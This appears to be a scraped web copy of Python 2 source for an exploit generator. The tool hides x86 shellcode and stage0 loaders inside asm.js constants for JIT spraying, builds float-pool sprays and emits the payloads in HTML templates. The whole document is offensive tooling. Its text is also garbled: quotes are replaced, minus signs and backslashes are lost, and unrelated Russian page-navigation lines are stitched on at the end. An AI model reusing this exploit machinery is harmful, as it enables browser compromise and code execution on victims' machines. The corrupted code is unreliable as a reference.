transform_long_jump(*args): global jmp_cave_nr ## abort at some point to prevent endless recusrion FIXME if jmp_cave_nr == 100: raise Exception(» Stopping recursion. FIXME: jump cave insertion») input = args[0] output = args[1] error = args[2] ## catch nasm short jump error if error.find(» error: short jump is out of range») != 1: #print error err_line_no = int(error.split(«:»)[1]) 1 ## line of error #print err_line_no ## read file asm = file(input,«rb»).readlines() ## get label #print asm[err_line_no].split() label = asm[err_line_no].split()[1].replace(«n«, «») ## FIXME if not preceded by s #print label print «n[-] ==== short jump error in line», err_line_no, «with instruction:» print «>>> «, asm[err_line_no], «>>> NASM ERROR:n«, error, «<<<« cave_lbl = «__JMP_CAVE__{:d}».format(jmp_cave_nr) asm[err_line_no] = asm[err_line_no].replace(label, cave_lbl) jmp_cave_nr += 1 jmp_cave_line_no = 0 for line_no in range(0,len(asm)): ## get target if asm[line_no].find(label) != 1: if err_line_no > line_no: #print label ## FIXME: adjust fixed num dynamically based on distance between constants # 2 for distance > 5 < 8 ; 4 for distance > 10 jmp_cave_line_no = line_no + (err_line_no line_no)/4 break #elif err_line_no <= line_no else: ## FIXME jmp_cave_line_no = err_line_no + (line_no err_line_no)/4 pass i = 3 while 1: if asm[jmp_cave_line_no + i] == spacer: ## strip n jmp_cave_line_no += i break i += 1 asm[jmp_cave_line_no] = asm[jmp_cave_line_no].replace(spacer, spacer + cave_lbl + «:nnopnnopnjmp SHORT {target:s}n«.format(target=label) +spacer) file(input, «wb»).write(«».join(asm)) ## recursively rerun nasm nasm_assemble(input, output, catch=transform_long_jump) print «[+] Successfully inserted jmp cave « + cave_lbl else: sys.stderr.write(error) raise Exception(«[-] Nasm errorn«) ## nasm wrapper def nasm_assemble(input, output, catch=«»): if not os.path.isfile(input): sys.stderr.write(«[-] Error: File «+ input + » not foundn«) exit(0) nasm = subprocess.Popen( [NASM, input, «-o», output,«-f», «bin»], shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) ## check nasm messages retCode = nasm.wait() if catch and retCode: catch(input, output, nasm.stderr.read()) ## callback to handle nasm errors elif retCode: sys.stderr.write(nasm.stderr.read() + «n«) raise Exception(«[-] Error: Failed to assemble payload (check your «+ «nasm file «« + input + ««) nasm_warning = nasm.stderr.read() if nasm_warning: sys.stderr.write(» [+] NASM: « + nasm_warning + «n«) ## read opcodes return file(output,«rb»).read() ## mainly serves the purpose of getting the length of each opcode. ## returns distorm decoded obj def asm_to_dasm(asm_shellcode): max_instr_len = 3 if args.two_byte_stager != ‘disabled’: max_instr_len = 2 ## assemble payload = nasm_assemble(asm_shellcode, asm_tmp_bin) ## disassemble dasm = distorm3.Decode(0, payload, distorm3.Decode32Bits) ## perform some simple sanity checks for i in range(0, len(dasm)): instr = dasm[i] # 0: offset, 1: len, 2: mnemonic 3: opcodes (hexlified) ## 1) check if all opcodes are <= 2 or 3 bytes except mov REG32, IMM32 if instr[LEN] > max_instr_len and not instr_is_mov_reg32_imm32(instr[OPCODE]): raise Exception((«[-] Instruction «{:s}« is greater than {:d} « + «bytes (currently unsupported)»).format(instr[MNEMONIC], max_instr_len)) ## 2) Jccs have to be preceded by test/cmp/… for 3 byte stager if args.two_byte_stager != ‘disabled’ and instr_is_jcc(instr[MNEMONIC]): pre_instr = dasm[i1] ## preceding instr if not instr_is_compare(pre_instr[MNEMONIC]): ## add your allowed preceding instr here #if not pre_instr[MNEMONIC].startswith(«TEST») and not pre_instr[MNEMONIC].startswith(«CMP»): raise Exception(«[-] Conditional jumps have to be « + «preceded immediately by flag-setting instruction») return dasm ## we need to parse the source to connect each line to the length of the ## corresponding instruction, to insert masking bytes and padding later on, ## before reassembling it def parse_nasm_source(asm_shellcode, replacements={}): asm_src = file(asm_shellcode,«rb»).read() ## inline statements/macros for pattern, replacement in replacements.iteritems(): asm_src = asm_src.replace(pattern,replacement) ## remove some nasm directives ## OTHER directives which span lines shoud NOT appear in source or need to ## be added here asm_src = re.sub(«BITS 32.*?r*?n«, «», asm_src, flags=re.I) asm_src = re.sub(«Section.*?r*?n«, «», asm_src, flags=re.I) asm_src = re.sub(«global.*?r*?n«, «», asm_src, flags=re.I) ## FIXME asm_src = re.sub(«%define.*?r*?n«, «», asm_src, flags=re.I) ## remove comments asm_src = re.sub(«;.*», «», asm_src, flags=re.I) ## remove empty lines #asm_src = filter(lambda line: line != », # [re.sub(«^s*$», «», line) for line in asm_src.splitlines()]) asm_lines = asm_src.splitlines() asm_src = » label_text = » ## remove empty lines and inline labels for line in asm_lines: ## db can break stuff, so warn if re.match(«^s*db «, line, flags=re.I): print(«[+] Warning: Encountered «db« in payload source») if re.sub(«^s*$», «», line) != »: label = re.match(«s*(w+:)s*», line) ## line is label if label: label_text = label.group(0) continue ## line is empty else: continue if label_text: ## concat label with line asm_src += label_text + line + «n« label_text = » else: ## add line asm_src += line + «n« #print asm_src return asm_src.splitlines() ## create assembleable nasm source. When assembled, it has the format of asm.js ## where the payload is hidden within constants def generate_asm_js_asm_src(asm, dasm): if args.two_byte_stager == ‘disabled’: return generate_3_byte_asm_js_asm_src(asm, dasm) return generate_2_byte_stage0_nasm_src(asm, dasm) def generate_2_byte_stage0_nasm_src(asm, dasm): asm_js_asm = » asm_js_space = 2 ## nr. opcodes we can hide in one instruction process_mov = 0 ## special care of mov line_no = 0 label_nr = 0 ## one label for each asm_js_constant ## space between constants instr_label = «asm_js_constant_{:04x}» instr_label_target = instr_label + «:n« ## connect asm lines to instruction lengths, insert mask and pads. while line_no < len(asm): if process_mov: asm_js_asm += process_mov[0] + «n« process_mov = process_mov[1:] label_nr += 1 label = instr_label.format(label_nr) ## insert jmp to next constant/hidden instruction asm_js_asm += «jmp {:s}n«.format(label) asm_js_asm += spacer asm_js_asm += instr_label_target.format(label_nr) asm_js_space = 2 continue asm_line = asm[line_no] + «n« instr_len = dasm[line_no][LEN] instr_opc = dasm[line_no][OPCODE] # hexlified instr_mne = dasm[line_no][MNEMONIC] if instr_is_mov_reg32_imm32(instr_opc) and asm_js_space == 2: imm32le = instr_opc[2:] process_mov = transform_mov_2bytes(label_nr, instr_opc[:2], imm32le) line_no += 1 continue ## insert instr if instr_len <= asm_js_space: asm_js_asm += asm_line asm_js_space -= instr_len line_no += 1 continue ## no space, so pad with nops while asm_js_space > 0: asm_js_asm += nop asm_js_space -= 1 label_nr += 1 label = instr_label.format(label_nr) ## insert jmp to next constant/hidden instruction asm_js_asm += «jmp {:s}n«.format(label) asm_js_asm += spacer ## insert label asm_js_asm += instr_label_target.format(label_nr) asm_js_space = 2 while asm_js_space > 0: asm_js_asm += nop asm_js_space -= 1 return asm_js_asm def generate_3_byte_asm_js_asm_src(asm, dasm): asm_js_asm = » asm_js_space = 3 ## nr. opcodes we can hide in one instruction process_mov = 0 ## special care of mov line_no = 0 ## connect asm lines to instruction lengths, insert mask and pads. while line_no < len(asm): asm_line = asm[line_no] + «n« instr_len = dasm[line_no][LEN] instr_opc = dasm[line_no][OPCODE] # hexlified instr_mne = dasm[line_no][MNEMONIC] ## mov spans 2 asm.js instructions, hence fix ## least sig. 2 bytes which get clobbered by asm.js if process_mov: asm_js_asm += nop + mask_to_test_al + add_eax asm_js_asm += process_mov[0] + nop + mask_to_test_al + add_eax asm_js_asm += process_mov[1] asm_js_space = 1 process_mov = 0 ## start asm.js add eax, … instruction if asm_js_space == 3: asm_js_asm += add_eax ## take care about cmp/test and flag saving (pushfd) ## or take care about jcc and flag restoring (popfd) if instr_is_compare(instr_mne) or instr_is_jcc(instr_mne): restore_flags = [0,1][instr_is_jcc(instr_mne)] # else save flags ## cmp/test + pushfd or popfd + jcc instr = [«pushfd», «popfd»][restore_flags] opcode = [pushfd, popfd][restore_flags] asm_instr = [asm_line + pushfd, popfd + asm_line][restore_flags] ## cmp or jcc can’t use max. space, because we’ll prepend a pushfd ## or append a popfd if instr_len >= 3: raise Exception(«[-] « + instr_mne + » is too long (« + instr_len + «). Unable to insert « + instr) elif asm_js_space != 0 and (asm_js_space 1) >= instr_len: asm_js_asm += asm_instr asm_js_space -= (instr_len + 1) # 1 = len(pushfd/popfd) line_no += 1 continue ## take special care about movs if instr_is_mov_reg32_imm32(instr_opc) and asm_js_space > 0: while asm_js_space > 1: asm_js_asm += nop asm_js_space -= 1 asm_js_asm += asm_line asm_js_space -= 1 ## transform to big endian imm32 = unhexlify(instr_opc[2:]) imm32 = imm32[::1] imm32 = hexlify(imm32) ## on next iteration insert instructions to set 2 lsb bytes process_mov = transform_mov_3bytes(instr_opc[:2], imm32) line_no += 1 continue if instr_len <= asm_js_space: asm_js_asm += asm_line asm_js_space -= instr_len line_no += 1 continue ## no space, so pad with nops while asm_js_space > 0: asm_js_asm += nop asm_js_space -= 1 asm_js_asm += mask_to_test_al ## new game, new luck asm_js_space = 3 ## adjust last instruction while asm_js_space > 0: asm_js_asm += nop asm_js_space -= 1 asm_js_asm += mask_to_test_al return asm_js_asm ## and create asm.js compatible constants with hidden opcodes def generate_asm_js_constants(payload_bin): max_instr_len = 3 offset = 1 if args.two_byte_stager != ‘disabled’: max_instr_len = 2 offset = 0 hex_payload = hexlify(payload_bin) constants = [] # payload starts in the middle/ after 1st byte dasm = distorm3.Decode(0, payload_bin[offset:], distorm3.Decode32Bits) ## FIXME: current transformation may result in long jumps for instr in dasm: if instr[LEN] > max_instr_len and not instr_is_mov_reg32_imm32(instr[OPCODE]): raise Exception(«[-] Transformed instruction « + instr[MNEMONIC] + » is too long. FIXME») ## 3-byte payload if args.two_byte_stager == ‘disabled’: ## 5 byte chunks for i in range(0, len(hex_payload), 10): #print hex_payload[i:i+10] constants += [hex_payload[i:i+10][2:]] ## strip 1st byte ## assume mov and insert if constants[1][2:] != test_al: ## replace least sig, byte in mov REG32, IMM32 with masking byte #print constants[-1] constants[1] = «».join(list(constants[1])[:2]) + test_al #print constants[-1] else: for i in range(0, len(hex_payload), 8 + byte_distance*2): constants += [hex_payload[i:i+8]] ## strip 1st byte #print constants[-1] while len(constants[1]) < 8: constants[1] += «90» return constants def gen_float_payload(): exec(file(args.float_pool_payload,«rb»).read()) # :P try: payload_sz = len(buf) except: raise Exception(«[-] Check « + args.float_pool_payload + » for ‘buf'») ## use a fixed payload size to predict location of float pool if len(buf) > 0x400: raise Exception(«[-] Payload is > 0x400 bytes») junk = 0 i = 0 while len(buf) < 0x400: i += 1 if i % 8 == 0: junk += 1 buf += chr(junk) continue buf += «A» float_chunks = [buf[i:i+8] for i in range(0, len(buf), 8)] ## asm.js eliminates duplicate constants, hence, all floats have to be ## different. sanity check for dupes if len(float_chunks) != len(set(float_chunks)): raise Exception(«Fixme or your binary payload») asm_js_payload = [unpack(«<d», chunk) for chunk in float_chunks] asm_js_payload = [str(flt)[1:2] for flt in asm_js_payload] ## sanity check floats for i in range(len(asm_js_payload)): if asm_js_payload[i] == ‘nan’: raise Exception(«[-] No float representation for « + hexlify(float_chunks[i]) + » (pos: « + str(i*8) + » in payload)») asm_js_payload = «,n«.join(asm_js_payload) + «n template = file(templates+«/pool_of_floats.html», «rb»).read() template = template.replace(«%CMDLINE%», » «.join(sys.argv)) template = template.replace(«%HEADER%», «<pre>» + header + «</pre>») asm_js_payload = template.replace(«%PAYLOAD%», asm_js_payload) ## print or save payload if args.output == None: print asm_js_payload else: file(args.output, «wb»).write(asm_js_payload) def main(): global args global byte_distance global spacer global jmp_cave_nr jmp_cave_nr = 0 args = parse_args() #print args #print args.payload #print args.stage0 ## constant pool spray if args.float_pool_payload != None: gen_float_payload() return PAYLOAD_MAX_SIZE = PAYLOAD_MAX_SIZE_STAGER_3 ## check if 2-byte stager should be used if args.two_byte_stager != ‘disabled’: byte_distance = int(args.two_byte_stager) spacer = «db ‘{:s}’n«.format(«A» * byte_distance) if not (byte_distance > 0 and byte_distance <= 0x1000 and args.payload_type == ‘dynamic’ and args.stage0 == stage0_loader_3): print(«[-] Error: option -d can only be used with -t dynamic and» + » requires an int > 0″) exit(0) ## using 2 byte sized stage0 loader PAYLOAD_MAX_SIZE = PAYLOAD_MAX_SIZE_STAGER_2 args.stage0 = stage0_loader_2 if args.payload_type != ‘static’ and args.payload_type != ‘dynamic’: print «[+] Error: wrong -t option. see {:s} —help».format(sys.argv[0]) exit(0) ## custom asm payload as stage0 and no bin payload if args.bin_payload == ‘disabled’: payload_sz = 0 ## enabled stage0 loader but no binary payload elif args.bin_payload == None: if args.payload_type == ‘static’: print(«[-] Error: Need a binary payload/shellcode, when using -t static») exit(0) payload_sz = PAYLOAD_MAX_SIZE ## enabled stage0 loader with binary payload else: ## load bin payload into ‘buf’ exec(file(args.bin_payload,«rb»).read()) # hehe try: payload_sz = len(buf) except: buf = » if payload_sz == 0: print(«[-] Error: {:s} no payload in variable « + «‘buf'»).format(args.bin_payload) exit(0) ## hardcoded payload size for dynamic loader to be able to easily ## replace shellcode payloads within the resutling script elif args.payload_type == ‘dynamic’: if payload_sz > 0x400: print(«[-] Error: shellcode is too big») exit(0) else: payload_sz = PAYLOAD_MAX_SIZE ## set payload size to size % 3 == 0 elif args.payload_type == ‘static’: payload_sz = [payload_sz, payload_sz + (3 payload_sz % 3) ][payload_sz % 3 != 0] payload_sz += 3 # compensate 3 byte nop of stager (lea esp, [esp]) print «[+] Using shellcode from « + args.bin_payload ## assemble stage0 (stage0 = loader or custom payload) dasm = asm_to_dasm(args.stage0) ## parse stage0 source if args.stage0 == stage0_loader_3: ## insert payload size into it asm = parse_nasm_source(args.stage0, {«PAYLOAD_SIZE»: «{:d}».format(payload_sz)}) elif args.stage0 == stage0_loader_2: ## insert payload size and distance into it asm = parse_nasm_source(args.stage0, {«PAYLOAD_SIZE»: «{:d}».format(payload_sz), «DISTANCE»: «{:d}».format(byte_distance)}) else: ## custom payload asm = parse_nasm_source(args.stage0) if len(asm) != len(dasm): raise Exception(«[-]: w00t?! number of instructions unequal between «+ «binary and source payload.») ## connect source code lines to opcodes ## and generate assemblable nasm source (-> useful for label arithmetic) asm_js_asm = generate_asm_js_asm_src(asm, dasm) ## write assembleable nasm payload file(asm_tmp_src, «wb»).write(«BITS 32n« + asm_js_asm) ## Assemble asm.js compatible nasm source if args.stage0 == stage0_loader_2: payload = nasm_assemble(asm_tmp_src, asm_tmp_bin, catch=transform_long_jump) else: payload = nasm_assemble(asm_tmp_src, asm_tmp_bin) ## generate asm.js constants from assembled stage0 code, perform some naive sanitiy checks asm_js_constants = generate_asm_js_constants(payload) #print asm_js_constants ## read appropriate template if args.stage0 == stage0_loader_2: template = file(templates+«/dynamic_2_byte.html», «rb»).read() else: template = file(templates+«/{:s}.html».format(args.payload_type),«rb»).read() template = template.replace(«%CMDLINE%», » «.join(sys.argv)) template = template.replace(«%HEADER%», «<pre>» + header + «</pre>») asm_js_payload = «» ## generating static asm.js if (args.payload_type == «static»): # never entered for 2byte stager val = » «*8 + «val = (val + 0x{code:s})|0;n« nr_nops = 40 # 120 + 120/3 for i in range(0, nr_nops): asm_js_payload += val.format(code=«a8909090»); ## generate asm.js payload from constants for constant in asm_js_constants: ## strip first byte and transform to little endian constant = «».join([constant[i2:i] for i in range(8,0,2)]) asm_js_payload += val.format(code=constant) ## insert custom payload which the stage0 loader should load, if any if payload_sz > 0: for i in range(0, payload_sz, 3): constant = buf[i:i+3] ## only for last iter of buf while len(constant) < 3: constant += «x90« constant = test_al + hexlify(constant[::1]) asm_js_payload += val.format(code=constant) ## create the final asm.js payload asm_js_payload = template.replace(«%PAYLOAD%», asm_js_payload) ## generating dynamic asm.js elif args.payload_type == «dynamic»: template = template.replace(«%MAX_PAYLOAD_SIZE%», «{:d} // DO NOT CHANGE».format(payload_sz)) ## nr bytes of payload per constant bytes_per_constant = [3,4][args.stage0 == stage0_loader_2] nr_constants = 0 js_array_stage0 = ‘[nt ## insert stage 0 and format it nicely for constant in asm_js_constants: nr_constants += 1 constant = «».join([constant[i2:i] for i in range(bytes_per_constant*2,0,2)]) #js_array_stage0 += «{:d}».format(int(constant, 16)) + «, « js_array_stage0 += «‘{:s}'».format(constant) + «, « # payload hex bytes if nr_constants == 21/bytes_per_constant: ## formatting js_array_stage0 += «nt« nr_constants = 0 if js_array_stage0[2:] == «nt«: js_array_stage0 = js_array_stage0[:4] + «n]n« else: js_array_stage0 = js_array_stage0[:2] + «n]n« template = template.replace(«%STAGE0%», «{:s}».format(js_array_stage0)) ## insert bin payload if args.bin_payload == ‘disabled’: # never entered for 2 byte stager ## custom stage0 payload, no bin payload insertable ## remove related bin payload sigs from template template = re.sub(«#IF BIN_PAYLOAD#.*?#ENDIF BIN_PAYLOAD#»,«», template, flags=re.DOTALL) js_payload = «» elif args.bin_payload == None: ## stage0 loader — bin payload empty but insertable js_payload = «‘\x90\x90\x90\xcc’ // insert your payload heren« else: ## inserting bin payload <= 0x400 bytes available js_payload = «» +nt‘» nr_byte = 0 for byte in buf: nr_byte += 1 js_payload += «\ + «{:02x}».format(ord(byte)) if nr_byte == 13: ## formatting js_payload += «‘ +nt‘» nr_byte = 0 js_payload += «‘n« template = re.sub(«#IF BIN_PAYLOAD#|#ENDIF BIN_PAYLOAD#»,«», template) if args.two_byte_stager != ‘disabled’: template = template.replace(«%DISTANCE%», str(byte_distance)) asm_js_payload = template.replace(«%BIN_PAYLOAD%», «{:s}».format(js_payload)) if args.output == None: print asm_js_payload else: file(args.output, «wb»).write(asm_js_payload) if __name__ == «__main__»: main()

Понравилась статья? Поделить с друзьями:
  • Error sharing violation
  • Error sqlstate hy000 2002 no such file or directory
  • Error shared module is not available for eager consumption
  • Error sqlstate 42s22 column not found 1054 unknown column
  • Error shader compilation failed check your log file for additional information ок